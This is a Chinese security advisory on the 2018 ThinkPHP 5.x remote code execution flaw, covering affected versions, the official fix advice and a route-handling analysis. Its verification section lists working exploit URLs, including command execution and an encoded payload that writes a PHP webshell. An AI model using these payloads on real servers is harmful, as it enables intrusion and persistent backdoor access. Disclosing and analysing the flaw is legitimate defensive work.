ThinkPHP5 getshell漏洞预警
0x00 事件背景
2018-12-10 ThinkPHP5系列发布安全更新,该安全更新修复了一处严重漏洞,该漏洞可导致(php/系统)代码执行。
由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞
0x01 影响范围
ThinkPHP 5.x
5.1.x ~ 5.1.31
5.0.x ~ 5.0.23
0x02 修复建议
官方在更新公告中的修复方案是:
如果暂时无法更新到最新版本,请开启强制路由并添加相应未定义路由,或者参考commit的修改 增加相关代码。
0x03 漏洞验证
/?s=index/\think\Request/input&filter=phpinfo&data=1 /?s=index/\think\Request/input&filter=system&data=id /?s=index/\think\template\driver\file/write&cacheFile=shell.php&content= /?s=index/\think\view\driver\Php/display&content= /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id /?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 /?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id /?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=eval(base64_decode(%27JGYgPSBmb3BlbigiaS5waHAiLCAidyIpOwokdCA9ICc8P3BocCBiYXNlNjRfZGVjb2RlKFwnWVhOelpYSjBcJykoJF9SRVFVRVNUW1wnaVwnXSk7Pz4nOwpmd3JpdGUoJGYsJHQpOwpmY2xvc2UoJGYpOw==%27))
0x04 漏洞分析
在实际分析中,tp的结构和源码在各个分支版本中变化较大。此处仅以5.0.20版本的源代码作为示例进行分析thinkphp/library/think/App.php
此处则是更新公告里提及的,由于默认情况下是不执行严格路由检测的,所以这里$result和$must都为false,所以不会抛出路由无效的异常,而会继续向下执行
再通过parseUrl->parseUrlPath
的解析封装好后返回
根据上述代码不难看出,tp在处理路由的过程中,使用了Config::get('var_pathinfo')来作为接收处理pathinfo,而这个值在默认情况下为s,那么就会形成一个调用过程:index.php?s=index/\namespace\class/method
经过初始化和处理后,如果你传递的path合理,那么经过check后是会返回为一个module,并且在接下来的exec处理中就会针对其做对应处理
module中进行controller的处理这里就会抵达一个关键的函数getModuleAndClass
如果执行返回的$class存在就会直接通过invokeClsas对这个class进行实例化
等待controller实例化完成后
只要满足该controller的action可以被调用,那么就会开始针对这个action实现调用
通过invokeMethod进行构建出的class进行调用
调用至invokeFunction完成整个函数的调用执行后返回执行结果
至此该漏洞在5.0.20的一种命令执行的方式已经实现。
0x05 时间线
2018-12-10ThinkPHP官方发布公告
2018-12-11360CERT发布预警分析
0x06 参考链接
ThinkPHP5系列发布安全更新 - ThinkPHP框架
[http://www.thinkphp.cn/topic/60400.html]
相关内容
这些是最新的
热门排行
- THINKPHP5+GatewayWorker+Workerman 开发在线客服系统
- 在手机浏览器网页中点击链接跳转到微信界面的方法
- 尊云网站目录系统 ThinkPHP5网站分类目录程序 v2.2.221011
- CentOS 7安装shadowsock(一键安装脚本)
- AdminTemplate 基于LayUI 2.4.5实现的网站后台管理模板
- 用NW.js(node-webkit)开发多平台的桌面客户端
- PHP生成随机昵称/用户名
- THINKPHP5网站分类目录程序 尊云网站目录系统
- 织梦(DEDECMS)微信支付接口 微信插件
- 基于LayUI开发的 网站后台管理模板 BeginnerAdmin
- 响应式后台网站模板 - AMA.ADMIN
- LayUI 1.0.9 升级 至 LayUI 2.1.4 方法
- layuiAdmin后台管理模板 Iframe版
- 简洁清爽的会员中心模板
- jQuery幸运大转盘抽奖活动代码